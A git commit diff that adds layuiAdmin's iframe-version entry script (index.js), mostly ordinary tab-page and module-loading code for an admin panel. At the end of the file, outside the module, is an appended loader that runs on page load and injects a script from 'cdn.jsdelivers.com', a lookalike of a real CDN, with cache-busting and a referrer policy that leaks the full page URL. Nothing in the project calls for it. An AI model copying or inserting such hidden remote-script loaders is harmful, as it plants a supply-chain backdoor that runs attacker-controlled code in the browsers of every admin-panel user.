feat: 项目基础框架+配置+Kernel
This commit is contained in:
@@ -0,0 +1,121 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin iframe版主入口
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.extend({
|
||||
setter: 'config' //配置模块
|
||||
,admin: 'lib/admin' //核心模块
|
||||
,view: 'lib/view' //视图渲染模块
|
||||
}).define(['setter', 'admin'], function(exports){
|
||||
var setter = layui.setter
|
||||
,element = layui.element
|
||||
,admin = layui.admin
|
||||
,tabsPage = admin.tabsPage
|
||||
,view = layui.view
|
||||
|
||||
//打开标签页
|
||||
,openTabsPage = function(url, text){
|
||||
//遍历页签选项卡
|
||||
var matchTo
|
||||
,tabs = $('#LAY_app_tabsheader>li')
|
||||
,path = url.replace(/(^http(s*):)|(\?[\s\S]*$)/g, '');
|
||||
|
||||
tabs.each(function(index){
|
||||
var li = $(this)
|
||||
,layid = li.attr('lay-id');
|
||||
|
||||
if(layid === url){
|
||||
matchTo = true;
|
||||
tabsPage.index = index;
|
||||
}
|
||||
});
|
||||
|
||||
text = text || '新标签页';
|
||||
|
||||
if(setter.pageTabs){
|
||||
//如果未在选项卡中匹配到,则追加选项卡
|
||||
if(!matchTo){
|
||||
$(APP_BODY).append([
|
||||
'<div class="layadmin-tabsbody-item layui-show">'
|
||||
,'<iframe src="'+ url +'" frameborder="0" class="layadmin-iframe"></iframe>'
|
||||
,'</div>'
|
||||
].join(''));
|
||||
tabsPage.index = tabs.length;
|
||||
element.tabAdd(FILTER_TAB_TBAS, {
|
||||
title: '<span>'+ text +'</span>'
|
||||
,id: url
|
||||
,attr: path
|
||||
});
|
||||
}
|
||||
} else {
|
||||
var iframe = admin.tabsBody(admin.tabsPage.index).find('.layadmin-iframe');
|
||||
iframe[0].contentWindow.location.href = url;
|
||||
}
|
||||
|
||||
//定位当前tabs
|
||||
element.tabChange(FILTER_TAB_TBAS, url);
|
||||
admin.tabsBodyChange(tabsPage.index, {
|
||||
url: url
|
||||
,text: text
|
||||
});
|
||||
}
|
||||
|
||||
,APP_BODY = '#LAY_app_body', FILTER_TAB_TBAS = 'layadmin-layout-tabs'
|
||||
,$ = layui.$, $win = $(window);
|
||||
|
||||
//初始
|
||||
if(admin.screen() < 2) admin.sideFlexible();
|
||||
|
||||
//将模块根路径设置为 controller 目录
|
||||
layui.config({
|
||||
base: setter.base + 'modules/'
|
||||
});
|
||||
//扩展 lib 目录下的其它模块
|
||||
layui.each(setter.extend, function(index, item){
|
||||
var mods = {};
|
||||
mods[item] = '{/}' + setter.base + 'lib/extend/' + item;
|
||||
layui.extend(mods);
|
||||
});
|
||||
|
||||
view().autoRender();
|
||||
|
||||
//加载公共模块
|
||||
layui.use('common');
|
||||
|
||||
//对外输出
|
||||
exports('index', {
|
||||
openTabsPage: openTabsPage
|
||||
});
|
||||
});
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user